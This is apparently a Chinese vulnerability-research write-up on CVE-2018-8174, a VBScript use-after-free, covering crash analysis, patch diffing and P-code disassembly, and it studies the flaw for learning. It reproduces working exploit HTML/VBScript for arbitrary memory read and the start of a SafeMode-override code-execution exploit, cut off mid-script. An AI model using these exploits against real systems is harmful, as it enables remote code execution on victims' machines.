0x00 写在前面

CVE-2018-8174是2018年4月份由360团队在一起APT攻击中捕获的0day,实际攻击样本中该漏洞结合CVE-2017-0199(一个关于office ole相关的逻辑漏洞)实现远程代码访问执行,360将该漏洞命名为“双杀”漏洞。该漏洞存在于VBsCript引擎中,VbsCript在释放相关对象时对引用计数问题处理不善,当我们构造特定的对象引用即有可能借助该漏洞实现释放内存空间的访问,即UAF利用。漏洞影响范围覆盖当前绝大多数系统版本,详情参见官方公告。

此次调试环境我们选用win7 SP1+IE10,相关poc源码来源CVE-2018-8174:从UAF到任意地址读写 。

作为漏洞研究新手,笔者参阅了各大论团上绝大多数关于该漏洞详细的分析报告,对卡巴斯基 Boris Larin写的一篇名为“Delving deep into VBScript Analysis of CVE-2018-8174 exploitation”的帖子(链接)尤为感兴趣,该帖子着重于深入讲解该漏洞的利用技巧并且对VBS虚拟机脚本解释机制进行了一定程度的刺探。所以本篇帖子中,我将尽可能地去还原Boris Larin报告中分享的内容。

身为漏洞学习者,分析之前明确分析目的:

1、uaf漏洞本身的成因
2、CVE-2018-8174漏洞的成因
3、猜测并验证vbs引擎如何去修复该漏洞
4、简单探测vbs虚拟机机制、更深层次的去理解vbs对象,学习更细粒度的调试技巧,学习总结该漏洞Exp构造方法。
5、学习针对vbs引擎的windbg插件扩展
6、尝试还原完整利用。

0x01 漏洞分析

关于UAF

UAF,即Use-After-Free,释放后使用。UAF漏洞是一种内存破坏漏洞,简单的说,漏洞的原因是使用了悬垂指针。对于UAF漏洞调试新手可以参考一下以下c代码弄懂uaf原理以及最简单的利用模型.

#include<stdio.h>
#include<stdlib.h>
#include<malloc.h>

void *pfunc1()
{
	printf("test\n");
}

typedef struct Object1_struct{
	int flag;
	void (*pfunc1)();
	char message[4];
}OBJECT1;

typedef struct Object2_struct{
	int flag;
	int flag2;
	char *welcome;
}OBJECT2;

int main()
{
	int i;
	OBJECT1 *pObject1;
	OBJECT2 *pObject2;
	pObject1 = (OBJECT1 *)malloc(sizeof(OBJECT1));//init struct
	pObject1->flag = 1;
	//pObject1->pfunc1();
	//pObject1->message = "this is first create!";
	
	free(pObject1);
	/*forget pObject1 = NULL*/
	for(i=0;i<1000;i++)
	{
		pObject2 = (OBJECT2 *)malloc(sizeof(OBJECT2));//heap spray
		pObject2->flag=2;
		pObject2->flag2=4;
		pObject2->welcome = "AAAA";
	}
	/*fill pointer*/

	if(pObject1 != NULL)
		pObject1->pfunc1();
	return 0;
}

CVE-2018-8174

调试poc之前先开启浏览器页堆保护以便能够触发崩溃进行回溯。命令行工具进入windbg目录,执行下图中命令即可。

双击poc,IE10出现“允许阻止的内容”的警告,打开windbg附加当前poc所在进程(我们在附加时候可以看到两个或更多的IE进程,最先启动的进程一般为IE框架进程,我们附加最后启动的那个进程就可以)。调试器g,刷新浏览器界面,单击 允许阻止的内容 ,触发crash,原因为对[eax]处数据的违规访问,使用堆操作命令(!heap -p -a 0xXXXXXXXX(此命令用于查看目标地址处的详细数据分配)),查看异常地址信息,如下图所示。

从上图可以看到0x08cd7fd0是一块已经被释放的堆空间地址,在windbg窗口中记录了对该地址访问的代码段回溯情况。其实,结合下面贴出的poc代码,我们也大概能猜测出该漏洞位置应该位于VBS引擎对象释放处理过程。(这里插入一个自己调试过程中非常SB的疑问:在C/C++写码过程中这种UAF漏洞经常出现,原因是程序员自己疏忽大意留下的bug,这锅只能自己背;那么在vbs中,这种UAF同样是因为编码人员一些骚气的代码造成了,为什么要让虚拟机背锅?后来算是想明白了,vbs脚本交由虚拟机解释执行,其本身作为一种高级语言是无法拥有C/C++级别的操作粒度的,虚拟机封装了全部底层接口为用户提供全套服务,代码执行的可靠性及安全性都是虚拟机的职责。所以虽然该脚本语言经过较好封装及系列安全机制却依然留给程序员UAF的机会,这锅只能虚拟机背。既然这锅甩出去了,那么现在我们的问题就是类对象释放是怎么处理的,什么时候应该加入相关的安全校验?)

//poc来源:https://www.freebuf.com/vuls/172983.html

<html lang="en">

<head>

<meta http-equiv="x-ua-compatible" content="IE=10"

</head>

<body>

<script language="vbscript">

dim array_a

dim array_b(1)

class Trigger

Private sub class_Terminate()//重载Trigger类的Terminate函数

set array_b(0) = array_a(1)//将array_a(1)中的类对象Trigger保存到array_b(0)中,Trigger对象引用计数+1

array_a(1) = 1//将array_a(1)赋整数1,此操作将清除array_a(1)处Trigger的引用,Trigger引用计数-1(为了平衡上述操作)

end sub

end class

sub uaf

redim array_a(1)

set array_a(1) = new Trigger//将一个Trigger类的实例Trigger保存在数组array_a(1)中

erase array_a//清除数组array_a,数组的清理将会针对各元素数据类型进行清理,而array_a(1)数据为类对象Trigger,所以此处将会调用Trigger类的Terminate函数

end sub

sub TriggerVuln

array_b(0) = 0//array_b(0)保存的是已经被释放的Trigger对象,对free状态的空间赋值将引发访问异常!

end sub

sub startExploit

uaf

TriggerVuln

end sub

startExploit

</script>

</body>

</html>

在上述脚本中通过重载Trigger类的析构函数把将要释放对象的地址保存在一个全局数组中,那么重载的析构函数是如何被调用的呢?我们定位到sub class_Terminate()即可回溯定位到类对象释放处理过程。

上述截图中,自vbscipt!VbsErase函数开始即为释放处理过程,vbscript模块负责对象指针的拆除,OLEAUT32模块负责相关数据的清理。对照IDA可快速定位到TerminateClass函数。vbsccriptClass结构在内存中为0x30的一块空间,偏移4位置是对象引用计数。跟踪Trigger实例的释放过程如下。

vbs引擎对类实例的处理逻辑为:当调用Release释放对象时,先将该实例对象引用计数减一,若结果为零,调用Terminate函数结束该对象(内部会判断该函数是否重载,若存在重载则调用用户定义的重载函数),最后调用类虚函数表中的析构函数进行最后释放处理。实际跟踪中,运行时模块及其他模块会因为同步、拷贝等问题多次修改计数,这一点可以忽略。
比较Trigger实例释放前后的堆状态如下。

调试至此,抛出一个新的问题:上述的Release函数逻辑上并没什么问题,从C/C++开发的角度看,我们较难去控制重载的析构函数做了哪些危险的操作。所以可以思考一下该漏洞应如何去修复?要弄清楚这个问题,我们得跟踪重载的Terinate函数的调用流程。

结合动态调试,其执行流程如下:

  1. 在VBScriptClass::Release函数中,处理相关引用计数问题,然后进入VBScriptClass::TerminateClass。
  2. VBScriptClass::TerminateClass内部通过传入的this指针解析Trigger对象结构,检测到TerminateClass函数已被用户重载。
  3. 解析类结构中用户自定义的一些信息,封装成相应的接口类型,然后调用CScriptEntryPoint::Call函数。
  4. CScriptEntryPoint::Call内部初始化运行时环境及传入的参数信息,开始解释执行用户重载的TerminateClass函数。

 

VBScriptClass::TerminateClass函数的执行逻辑:

CScriptEntryPoint::Call函数的执行逻辑:

在具体调试分析过程中,笔者将Boris Larin在其帖子中提到的VBscriptClass结构扩充如下(仅针对笔者当前调试环境,请读者自行调试验证):

0x02补丁分析

调试至此,我虽然花了较大力气去逆向、调试相关的释放过程,但依然没有想到一个较好的思路去检测当前的UAF利用,因为vbs在对象释放处理部分都是都过对象引用计数是否为零作为释放的判断条件。既然如此,只有通过补丁去分析修复逻辑了。官方补丁下载。

分别跟踪补丁前后版本,发现更新补丁后,在最后crash代码“array_b(0) = 0”执行时,array_b数组中保存的Trigger对象数据已被清零。

此时可以猜测该漏洞大致的修复思路:应该是在重载的Terminate函数执行时机附件进行相关的检测工作,若发现重新引用了将要被释放的Trigger对象,将阻断相关的赋值操作。

我们通过修改原始代码定位到Terminate函数内部,查看当前的数组状况,然后对array_b数组下内存访问断点向前回溯。

继续运行之后在VBScript!AssignVar函数触发了内存访问断点,简单逆向该函数此处的功能。

该函数的作用是变体解构赋值传递,对于补丁之前的环境,该函数将按照上述注释顺利的将求值栈中保存的array_a(1)VARIANT结构拷贝到array_b(0)。

重新使用补丁之后环境测试,此处的执行流程发生了改变,该函数在求值栈中获取的vt类型为0,导致函数内部进入CSession::RecordHr分支进而结束拷贝过程并清理掉Trigger对象。结合进入Terminate函数时array_a、array_b数组的内存结构,可以发现当进入Termanate函数时,求职栈中的array_a(1)->vt已经变为0(补丁之前为9、即VBS class类型)。

由此可以判断在执行重载的Terminate函数之前,VBS引擎就已经做出了阻断。我们在补丁之后的环境测试何时修改了array_a(1)的vt类型,下断时机选择为执行“erase array_a”之前。

如上所示,在Trriger对象的释放过程中,位于OLEAUT32.DLL模块的VariantClear函数将回去修改array_a(1)->vt。结合IDA逆向VariantClear函数内部逻辑如下。

单步跟踪该函数,代码进入偏移为0x49E5的分支之后,将会清理掉求值栈的vt为0。

栈回溯即可清晰的看到本报告前面逆向的析构逻辑。

借助Bindiff插件可直观看到补丁代码。

借助Bindiff插件可直观看到补丁代码。

总结该漏洞的修复逻辑为:在执行erase(对象释放)代码时,vbs会检测将要被释放的对象是否发生新的引用,如有、则会在引用代码执行时将求值栈中的该对象的类型修改为0,继而0类型的变体结构中的值域指针将会被vbscript!VbsCriptClass::Release函数所释放,我们既定的变量也就无法获取被释放对象的内存访问。

0x03漏洞利用

简单分析参考帖子中的利用poc,这是一个简单的任意地址读取的利用模型,整个构造思路同CVE-2014-6332有较多相似之处。相关脚本及调试笔记在下面贴出。

  1. 初始化全局数组array(40),填充堆空间碎片。
  2. UAF触发。先用array_a(1)记录Trigger对象地址,然后在重载的Terminate函数中,执行array_b(index)=array_a(1),用array_b(6)数组保存释放的Trigger对象地址。
  3. 用myclass2对象占位刚被释放的Trigger对象空间。即array_b(6)和myclass2同时指向一块0x30的内存空间。
  4. 调用myclass2.setprop(myconf)函数,传入的参数myconf是一个confusion对象,myconf在初始化时将调用默认的属性函数p。
  5. 执行public default property get p时,先清除array_b数组,即释放前面占位的myclass2对象;然后用myclass1占位,将自定义的字符串变量FAKESAFEARRAY赋给myclass1.mem;用myclass1填充array_b数组;将一个特定的浮点数174088534690791e-324即“00000005 000005dd 00000000 0000200c”,该数据将返回给调用者myclass2对象的mem成员,并且由于myclass1.mem和myclass2.mem内存中的特定错位关系,该操作将会把myclass1.mem的类型有字符串修改为数组。
  6. 此时myclass2.mem指向的是一个byte szBuffer[80000000]数组,可通过myclass2.mem实现任意地址访问。

注意:调试之前关闭浏览器页堆保护。

//来源:https://www.freebuf.com/vuls/172983.html

<!doctype html>

<html lang="en">

<head>

<meta http-equiv="x-ua-compatible" content="IE=10">

</head>

<body>

<script language="vbscript">

dim array(40)

dim array_a,array_b(6)

dim index

dim address

dim myconf

dim myclass2

dim FAKESAFEARRAY

//一个由byte szBuff[80000000]结构转换成的字符串变量

FAKESAFEARRAY = unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

class foo

end class

class confusion

//7、先清除array_b数组,即释放前面占位的myclass2对象;

//然后用myclass1占位,将自定义的字符串变量FAKESAFEARRAY赋给myclass1.mem;

//用myclass1填充array_b数组;

//174088534690791e-324即“00000005 000005dd 00000000 0000200c”,该数据将返回给调用者myclass2对象的mem成员,并且由于myclass1.mem和myclass2.mem内存中的特定错位关系,该操作将会把myclass1.mem的类型有字符串修改为数组

public default property get p

dim myclass1

for i=0 to 6

array_b(i) = 0

next

MsgBox "confusion"

IsEmpty(array_b)

set myclass1 = new Class1

myclass1.mem = FAKESAFEARRAY

MsgBox "set myclass1"

IsEmpty(myclass1)

for i=0 to 6

set array_b(i) = myclass1

next

IsEmpty(array_b)

p = 174088534690791e-324

end property

end class

class Class1

dim mem

function p0123456789

end function

function p01

end function

end class

class Class2

dim mem

function p

end function

function setprop(value)

mem = value

setprop = 0

end function

end class

class Trigger

private sub class_Terminate()

//4、使用array_b数组保存array_a(1)、即Trigger对象。

set array_b(index) = array_a(1)

array_a(1) = 1

index = index + 1

end sub

end class

index = 0

//6、初始化myconf传入class2.setprop(myconf)、confusion类的默认缺省属性函数P将被执行

set myconf = new confusion

sub uaf

//1、array数组初始化,占据内存空间碎片

for i = 0 to 19

set array(i) = new foo

next

for i = 20 to 39

set array(i) = new Class2

next

//2、使用array_a数组保存Trigger对象

for i = 0 to 6

redim array_a(1)

set array_a(1) = new Trigger

//3、清除array_a数组,将导致重载的Trigger::class_Terminate函数的调用

erase array_a

next

//5、定义对象myclass2占位之前释放的Trigger对象空间,此时myclass2和array_b(6)中各元素均指向同一块内存空间(myclass2对象)

set myclass2 = new Class2

MsgBox "UAF eraseall"

IsEmpty(array_b)

IsEmpty(myclass2)

end sub

sub initobjects

//构造特定数组实现类型混淆

myclass2.setprop(myconf)

MsgBox "myclass2.setprop(myconf)"

IsEmpty(myclass2)

//实现任意地址读取

memory = myclass2.mem(&h00000000)

end sub

sub startExploit

//漏洞触发,构造特定占位

uaf

//写入自定义的数组结构,并通过类对象成员变量的内存交错实现数据覆盖修改VARIANT类型

initobjects

end sub

startExploit

</script>

</body>

</html>

 

//调试笔记

0:015> bp vbscript!VbsIsEmpty

0:015> g

Breakpoint 0 hit

eax=6893ac82 ebx=02f5b770 ecx=689919bc edx=0000004c esi=689919bc edi=02f5b820

eip=6893ac82 esp=02f5b3bc ebp=02f5b3cc iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

vbscript!VbsIsEmpty:

6893ac82 8bff mov edi,edi

0:007> dd poi(poi(poi(esp+c)+c)+c) //(4)保存Trigger对象的数组array_b(6)

004e9b60 00000009 00000000 023e2fe8 00000000

004e9b70 68930009 023e2fe8 023e2fe8 02f5b1f8

004e9b80 68930009 023e2fe8 023e2fe8 02f5b1f8

004e9b90 68930009 023e2fe8 023e2fe8 02f5b1f8

004e9ba0 68930009 023e2fe8 023e2fe8 02f5b1f8

004e9bb0 68930009 023e2fe8 023e2fe8 02f5b1f8

004e9bc0 68930009 023e2fe8 023e2fe8 02f5b1f8

004e9bd0 75b0e603 80000000 000000f2 00000000

0:007> g

Breakpoint 0 hit

eax=6893ac82 ebx=02f5b770 ecx=689919bc edx=0239004c esi=689919bc edi=02f5b820

eip=6893ac82 esp=02f5b3bc ebp=02f5b3cc iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

vbscript!VbsIsEmpty:

6893ac82 8bff mov edi,edi

0:007> dd poi(poi(esp+c)+8) l4 //占位的myclass2对象

023d9ec0 68930009 023e2fe8 023e2fe8 02f5b1f8

0:007> dd 023e2fe8 lc //myclass2对象的内存结构

023e2fe8 68921190 00000002 023e13d8 023950d8

023e2ff8 00000668 00000000 00000000 00000000

023e3008 00000000 03a51a6c 00000000 023daba8

0:007> dd poi(poi(023e2fe8 +8)+34)

023e1410 023df4b4 023df4e8 023df528 00000000

023e1420 00000000 00000000 00000000 00000000

023e1430 00000000 00000000 00000000 00000000

023e1440 00000000 00000000 00000000 00000000

023e1450 00000000 00000000 00000000 00000000

023e1460 77d8388d 88000000 023df5c8 0000003c

023e1470 00000100 00000100 00004000 023df5cc

023e1480 023df5ec 023e0390 0000000f 00000001

0:007> du 023df4b4 //myclass2对象的成员变量

023df4b4 "L"

0:007> du 023df4b4 +30

023df4e4 "p"

0:007> du 023df4e8 +30

023df518 "setprop"

0:007> du 023df528 +30

023df558 "mem"

0:007> dd 023df528 l4 //myclass2.mem的内存

023df528 00000000 00000000 00000000 00000000

0:007> g

Breakpoint 0 hit

eax=6893ac82 ebx=02f5a8c0 ecx=689919bc edx=0239004c esi=689919bc edi=02f5a970

eip=6893ac82 esp=02f5a50c ebp=02f5a51c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

vbscript!VbsIsEmpty:

6893ac82 8bff mov edi,edi

0:007> dd poi(poi(poi(esp+c)+c)+c) //(7)释放array_b数组,即释放前面占位的myclass2对象

004e9b60 00000002 00000000 00000000 00000000

004e9b70 00000002 00000000 00000000 00000000

004e9b80 00000002 00000000 00000000 00000000

004e9b90 00000002 00000000 00000000 00000000

004e9ba0 00000002 00000000 00000000 00000000

004e9bb0 00000002 00000000 00000000 00000000

004e9bc0 00000002 00000000 00000000 00000000

004e9bd0 75b0e603 80000000 000000f2 00000000

0:007> g

Breakpoint 0 hit

eax=6893ac82 ebx=02f5a8c0 ecx=689919bc edx=0239004c esi=689919bc edi=02f5a970

eip=6893ac82 esp=02f5a50c ebp=02f5a51c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

vbscript!VbsIsEmpty:

6893ac82 8bff mov edi,edi

0:007> dd poi(poi(esp+c)+8) l4 //(7)中占位的myclass1对象

023d9e80 00000009 00000000 023e2fe8 00000000

0:007> dd poi(poi(023e2fe8 +8)+34) l8

023e1410 023df4b4 023df4fc 023df534 00000000

023e1420 00000000 00000000 00000000 00000000

0:007> du 023df4b4 +30

023df4e4 "p0123456789"

0:007> du 023df4fc +30

023df52c "p01"

0:007> du 023df534 +30

023df564 "mem"

0:007> dd 023df534 l4 //myclass1.mem的内存VARIANT结构,注意该地址=myclass2.mem+c

023df534 00000008 00000000 004aa5e4 00000000

0:007> dc 004aa5e4 l6 //写入进来的字符串变量FAKESAFEARRAY

004aa5e4 08800001 00000001 00000000 00000000 ................

004aa5f4 7fffffff 00000000 ........

0:007> g

Breakpoint 0 hit

eax=6893ac82 ebx=02f5a8c0 ecx=689919bc edx=0239004c esi=689919bc edi=02f5a970

eip=6893ac82 esp=02f5a50c ebp=02f5a51c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

vbscript!VbsIsEmpty:

6893ac82 8bff mov edi,edi

0:007> dd poi(poi(poi(esp+c)+c)+c) //用myclass1填充数组array_b(6)

004e9b60 00000009 00000000 023e2fe8 00000000

004e9b70 00000009 00000000 023e2fe8 00000000

004e9b80 00000009 00000000 023e2fe8 00000000

004e9b90 00000009 00000000 023e2fe8 00000000

004e9ba0 00000009 00000000 023e2fe8 00000000

004e9bb0 00000009 00000000 023e2fe8 00000000

004e9bc0 00000009 00000000 023e2fe8 00000000

004e9bd0 75b0e603 80000000 000000f2 00000000

0:007> g

Breakpoint 0 hit

eax=6893ac82 ebx=02f5b770 ecx=689919bc edx=0239004c esi=689919bc edi=02f5b820

eip=6893ac82 esp=02f5b3bc ebp=02f5b3cc iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246

vbscript!VbsIsEmpty:

6893ac82 8bff mov edi,edi

0:007> dd poi(poi(esp+c)+8) l4 //执行myclass2.setprop(myconf)之后的myclass2

023d9ec0 68930009 023e2fe8 023e2fe8 02f5b1f8

0:007> dd 023df528 l8 //174088534690791e-324已被写入原来的myclass2.mem

023df528 00000005 000005dd 00000000 0000200c

023df538 00000000 004aa5e4 00000000 00000000

0:007> dd poi(poi(023e2fe8 +8)+34) l8

023e1410 023df4b4 023df4fc 023df534 00000000

023e1420 00000000 00000000 00000000 00000000

0:007> dd 023df534 l8 //当前myclass2.mem、即myclass1.mem。数据类型"0008"经过错位修改为"200c"

023df534 0000200c 00000000 004aa5e4 00000000

023df544 00000000 00000000 0000822f 00000006

0:007> dd 004aa5e4 l6 //myclass2.mem指向的数组结构byte szBuff[80000000]

004aa5e4 08800001 00000001 00000000 00000000

004aa5f4 7fffffff 00000000

总的来说,上述实现任意地址读取的重点在于最后使用myclass1占位空间时,vbs引擎并未清理掉之前myclass2的成员变量mem,而该变量地址刚好与myclass1.mem相差0xC(为什么???),以至于后续可以实现类型混淆构造出任意地址访问的数组结构。所以接下来我们重点讨论类对象成员变量的空间布局。

0x04 从P-code解析过程看类对象成员变量的内存空间布局

vbs引擎执行脚本的大致流程是先将脚本内容解析成相应的opcode字节码(该字节码可以解析成P-code(类似于二进制PE文件的反汇编)便于调试人员静态分析其执行流程),然后虚拟机中的CScriptRuntime类将会接管这些字节码并基于特定的堆栈规则开始解释执行。通过研究相应的P-code代码,可以让我们更直观地去理解vbs虚拟机的一些机制。

借用Boris Larin帖子中的python脚本(kl_vbs_disasm_windbg.py),在vbscript!CScriptRuntime::RunNoEH函数执行时,加载执行该脚本即可还原出Vbs脚本在解释执行时编译成的中间代码并将其反编译成伪代码(P-code)。注意安装配置pykd环境。笔者当前调试环境需要修改原脚本信息,将脚本中的ecx改为edi,如下所示(IDA回溯一层即可发现当前环境是用edi寄存器传递一个struct var*的变量结构指针)。

反汇编后的pcode代码如下所示。

当前分析的重点是理解类对象成员的内存布局。我们主要分析两个过程:常规类的初始化过程和类默认属性过程property get。

分析Class2解析过程如下。

Function 6 ('Class2') [max stack = 1]://class2的构造函数,注意构造函数中类成员变量的初始化顺序,依次是构造函数->类其他成员函数->类成员变量

arg count = 0

lcl count = 0

Pcode:

019BC6E8 - 0000 OP_CreateClass 'Class2' //构造函数

019BC6ED - 0005 OP_FnBindEx 'p' 7 FALSE //成员函数p,FALSE表示functin bind的结果,绑定失败VBS虚拟机会调用VbscriptClass::CreateVar创建相应成员变量

019BC6F7 - 000F OP_FnBindEx 'setprop' 8 FALSE //成员函数setprop

019BC701 - 0019 OP_CreateVar 'mem' FALSE //成员变量mem

019BC707 - 001F OP_LocalSet 0 //设置返回地址进行退栈操作

019BC70A - 0022 OP_FnReturn //函数返回



Function 7 ('p') [max stack = 0]:

arg count = 0 //函数p参数数量

lcl count = 0 //函数p局部变量数量

Pcode:

***BOS(642,654)*** end function *****

019BC73C - 0000 OP_Bos1 0 //描述当前函数代码块的索引

019BC73E - 0002 OP_FnReturn //push返回地址

019BC73F - 0003 OP_Bos0 //pop返回地址,用于返回

019BC740 - 0004 OP_FuncEnd //函数返回结束



Function 8 ('setprop') [max stack = 1]:

arg count = 1 //参数数量为1

arg -1 = ref Variant 'value' //形参value位于arg-1位置,即返回地址之上,类似于intel32汇编中的先压入返回地址然后压入参数

lcl count = 0 //无局部变量

Pcode:

***BOS(684,695)*** mem = value *****

019BC77C - 0000 OP_Bos1 0

019BC77E - 0002 OP_LocalAdr -1 //pop出arg-1数据value

019BC781 - 0005 OP_NamedSt 'mem' //将上一步pop出的value保存在mem中

***BOS(699,710)*** setprop = 0 *****

019BC786 - 000A OP_Bos1 1

019BC788 - 000C OP_IntConst 0 //压入常整数0

019BC78A - 000E OP_LocalSt 0 //将0保存到arg位置,即设置函数setprop为0

***BOS(713,725)*** end function *****

019BC78D - 0011 OP_Bos1 2 //函数返回

019BC78F - 0013 OP_FnReturn 

019BC790 - 0014 OP_Bos0 

019BC791 - 0015 OP_FuncEnd

confusion类的解析过程。

Function 12 ('confusion') [max stack = 1]:

arg count = 0

lcl count = 0

Pcode:

019BC888 - 0000 OP_CreateClass 'confusion' //构造函数

019BC88D - 0005 OP_FnBindEx 'p' 13 TRUE //成员函数p,其默认属性获取函数已成功绑定

019BC897 - 000F OP_LocalSet 0

019BC89A - 0012 OP_FnReturn 



Function 13 ('p') [max stack = 3]: //统计该类中最大堆栈层数为3,类似于函数嵌套层数

arg count = 0

lcl count = 1

lcl 1 = Variant 'myclass1' //一个局部变量myclass1。(不知道为什么这样分类,且遵循其规则就行)

tmp count = 4 //4个临时“变量”:循坏计数变量i,始末索引0、6,步数1.

Pcode:

***BOS(299,311)*** for i=0 to 6 *****

019BC8D4 - 0000 OP_Bos1 0

019BC8D6 - 0002 OP_IntConst 0

019BC8D8 - 0004 OP_IntConst 6

019BC8DA - 0006 OP_IntConst 1

019BC8DC - 0008 OP_ForInitNamed 'i' 5 4 //循环所需变量初始化

019BC8E5 - 0011 OP_JccFalse 0036 //循环终止跳转(跳转到019BC90A - 0036,注意跳转偏移是以当前pcode代码块为基址计算的)

***BOS(315,329)*** array_b(i) = 0 *****

019BC8EA - 0016 OP_Bos1 1

019BC8EC - 0018 OP_IntConst 0 //常整数0

019BC8EE - 001A OP_NamedAdr 'i' //取出索引i的pos值

019BC8F3 - 001F OP_CallNmdSt 'array_b' 1 //将0赋给array_b(i)

***BOS(332,336)*** next *****

019BC8FA - 0026 OP_Bos1 2

019BC8FC - 0028 OP_ForNextNamed 'i' 5 4

019BC905 - 0031 OP_JccTrue 0016

***BOS(339,364)*** set myclass1 = new Class1 *****

019BC90A - 0036 OP_Bos1 3

019BC90C - 0038 OP_InitClass 'Class1'

019BC911 - 003D OP_LocalSet 1

***BOS(367,395)*** myclass1.mem = FAKESAFEARRAY *****

019BC914 - 0040 OP_Bos1 4

019BC916 - 0042 OP_NamedAdr 'FAKESAFEARRAY' //先取出FAKESAFEARRAY全局变量的值

019BC91B - 0047 OP_LocalAdr 1 //找到栈中位置lcl 1的变量myclass1

019BC91E - 004A OP_MemSt 'mem' //memstore,将FAKESAFEARRAY保存到myclass1结构中的mem成员

***BOS(398,410)*** for i=0 to 6 ***** //类似上面的赋值循环

019BC923 - 004F OP_Bos1 5

019BC925 - 0051 OP_IntConst 0

019BC927 - 0053 OP_IntConst 6

019BC929 - 0055 OP_IntConst 1

019BC92B - 0057 OP_ForInitNamed 'i' 3 2

019BC934 - 0060 OP_JccFalse 0086

***BOS(414,439)*** set array_b(i) = myclass1 *****

019BC939 - 0065 OP_Bos1 6

019BC93B - 0067 OP_LocalAdr 1

019BC93E - 006A OP_NamedAdr 'i'

019BC943 - 006F OP_CallNmdSet 'array_b' 1

***BOS(442,446)*** next *****

019BC94A - 0076 OP_Bos1 7

019BC94C - 0078 OP_ForNextNamed 'i' 3 2

019BC955 - 0081 OP_JccTrue 0065

***BOS(449,473)*** p = 174088534690791e-324 *****

019BC95A - 0086 OP_Bos1 8

019BC95C - 0088 OP_FltConst 35235911696384//取出浮点数35235911696384

019BC965 - 0091 OP_LocalSt 0 //将上面浮点数保存到栈中0位置,即返回该浮点数

***BOS(476,488)*** end property *****

019BC968 - 0094 OP_Bos1 9

019BC96A - 0096 OP_FnReturn 

019BC96B - 0097 OP_Bos0 

019BC96C - 0098 OP_FuncEnd

上述静态分析pcode的目的主要有两点:

  1. 理解类结构解析过程中各成员的初始化顺序。
  2. VBS中特有的默认属性构造函数default property get function的执行逻辑。

现在我们回到前面提到的一个非常重要的结构。

按照上述结构可以根据类对象0x30的结构解析出对象中各成员(成员函数和成员变量)的具体位置。动态验证过程中不难发现在实际成员初始化的过程中,各成员会以VARIANT的形式按照既定的初始化顺序存储在一段连续的内存空间中。

总结类成员在内存分配方法如下图所示。根据所有成员按需且遵循前面提到的初始化顺序申请一块连续的内存空间,各成员VVAL1,VVAL2,VVAL3...均以一个0x10的VARIANT结构呈现,相邻成员变量之间偏移等于一个固定的内存空间0x32+前一个成员名称(UNICODE字符串)的长度。

结合上述的调试笔记来看:

  1. 初始占位内存的地址为0x0235f4bc、即类对象第一个初始化的成员变量的VARIANT结构地址。
  2. 用myclass2占位时,myclass2.mem的VARIANT地址= 0x0235f4bc + 0x32 +len("p") +0x32 + len("setprop") = 0x0235f530。
  3. 其VARIANT结构:00000008 00000000 002aa5e4 00000000。
  4. 用myclass1占位前,myclass1.mem的VARIANT地址= 0x0235f4bc + 0x32 +len("p0123456789") +0x32 + len("p01") = 0x0235f53c。
  5. 其VARIANT结构:00000008 00000000 002aa5e4 00000000。
  6. 调用myclass2.setprop(myconf),myconf类的default property get p将浮点数174088534690791e-324(内存结构为:00000005 000005dd 00000000 0000200c)赋给myclass2.mem。由于myclass1.mem与myclass2.mem的VARIANT结构偏移0xc,将会覆盖上一步中的“0008”为“200c”,如下图所示。

此处的类型混淆正是该漏洞利用的关键,对于此类类对象占位利用的UAF漏洞,类成员变量及成员变量名称都是可以灵活控制的,理解这里的混淆原理之后,我们即可准备着手去实现针对VBS中UAF漏洞利用的通用构造方法。

0x05 EXP构造

上述分析中我们已经可以在内存空间构造一个任意读写的数组空间byte szBuff[80000000],类似于CVE-2014-6332中提到的、借助 Lenb函数获取指定的对象地址。在此基础上,有两种Exploit构造方法。

A、覆盖SafeMode标志位开启上帝模式执行任意代码

//1、区别于上篇帖子中构造的CVE-2014-6332EXP:因为6332利用中是借助数组错位的内存空间特性、在漏洞代码执行之后通过可控的数组元素赋值实现类型混淆,而8174是通过构造特定的类对象在内存空间占位、并借助类对象成员在内存空间特定排序及可控的内存大小实现类型混淆。所以在获取COleScript对象地址时的处理明显不同(构造第二组Trigger进行混淆是为了在内存中占位一个16字节的缓冲区(之前用于存放FAKELONGINT 字符串),这样可以避免后续存放CScriptEntryPoint对象等地址时的不可控的写入冲突,这也是该EXP中构造两组Trigger类的原因)。

//2、该EXP在IE10及以下版本可稳定触发,IE11无法触发。

//3、该EXP在执行完毕关闭IExeplore窗口之后会有一个提示为StackHash模块的崩溃窗口,网上相关帖子提到是因为浏览器DEP所致,笔者暂未能成功解决这个问题,希望各位大佬能帮忙指正!

<!doctype html>

<html lang="en">

<head>

<meta http-equiv="x-ua-compatible" content="IE=10">

<script language="vbscript">

dim array(40)

dim array_a(6),array_b(6)

dim garray

dim index

dim address

dim myconfa,myconfb

dim myclassA,myclassB

dim FAKESAFEARRAY

dim FAKELONGINT

FAKESAFEARRAY = unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

FAKELONGINT = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")



class foo

end class



class confusionA

public default property get p

p = 174088534690791e-324

dim tempclass

for i=0 to 6

array_a(i) = 0

next

set tempclass = new Class1

tempclass.mem = FAKESAFEARRAY

for i=0 to 6

set array_a(i) = tempclass

next

end property

end class



class confusionB

public default property get p

p = 636598737289582e-328

dim tempclass

for i=0 to 6

array_b(i) = 0

next

set tempclass = new Class1

tempclass.mem = FAKELONGINT

for i=0 to 6

set array_b(i) = tempclass

next

end property

end class



class Class1

dim mem

function p0123456789

p0123456789 = LenB(mem(address+8))

end function

function p01

end function

end class



class Class2

dim mem

function p

end function

function setprop(value)

mem = value

setprop = 0

end function

end class



class TriggerA

private sub class_Terminate()

set array_a(index) = garray(1)

garray(1) = 1

index = index + 1

end sub

end class



class TriggerB

private sub class_Terminate()

set array_b(index) = garray(1)

